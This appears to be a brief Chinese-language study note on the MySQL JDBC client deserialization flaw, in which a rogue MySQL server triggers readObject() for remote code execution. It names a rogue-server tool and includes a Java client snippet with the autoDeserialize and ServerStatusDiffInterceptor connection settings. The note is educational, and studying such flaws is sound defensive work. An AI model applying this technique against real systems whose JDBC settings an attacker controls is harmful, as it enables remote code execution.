随便学学
原理
如果攻击者能够控制JDBC连接设置项,那么就可以通过设置其指向恶意MySQL服务器进行ObjectInputStream.readObject()的反序列化攻击从而RCE。
具体点说,就是通过JDBC连接MySQL服务端时,会有几个内置的SQL查询语句要执行,其中两个查询的结果集在MySQL客户端被处理时会调用ObjectInputStream.readObject()进行反序列化操作。如果攻击者搭建恶意MySQL服务器来控制这两个查询的结果集,并且攻击者可以控制JDBC连接设置项,那么就能触发MySQL JDBC客户端反序列化漏洞。
漏洞复现
GitHub - rmb122/rogue_mysql_server: A rouge mysql server supports reading files from most mysql libraries of multiple programming languages.
现在自己的服务器上安装一个恶意的mysql服务器
然后去用maven搭一个mysql jdbc去请求咱们的恶意服务器

Analysis
Presentations - eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack (blackhat.com)
1 2 3 4 5 6 7 8 9 10 11
| import java.sql.*;
public class Main { public static void main(String[] args) throws ClassNotFoundException, SQLException { Class.forName("com.mysql.jdbc.Driver"); String jdbc_url = "jdbc:mysql://ip:3306/test?" + "autoDeserialize=true" + "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"; Connection con = DriverManager.getConnection(jdbc_url, "root", "root"); } }
|
Learn
Magic methods will be invoked automatically during the deserialization process.
- readObject()
- readExternal()
- readResolve()
- readObjectNoData()
- validateObject()
- finalize()
参考
https://tttang.com/archive/1877/
https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#%E5%B0%8F%E7%BB%93